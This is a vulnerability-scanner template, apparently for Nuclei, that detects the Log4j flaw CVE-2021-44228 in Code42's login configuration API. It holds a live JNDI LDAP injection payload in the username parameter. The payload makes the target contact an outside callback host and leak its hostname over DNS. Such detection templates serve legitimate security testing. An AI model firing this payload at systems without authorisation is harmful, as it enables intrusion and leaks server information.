id: code42-log4j-rce

info:
  name: Log4j Code42 RCE
  author: Adam Crosser
  severity: critical
  description: Remote code execution via log4j vulnerability
  reference:
    - https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
  classification:
    cve-id: CVE-2021-44228
  tags: jndi,log4j,rce,cve,cve2021,oast,code42

requests:
  - method: GET
    path:
      - '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&url=https://localhost'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Match for extracted ${hostName} variable

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${hostName} in output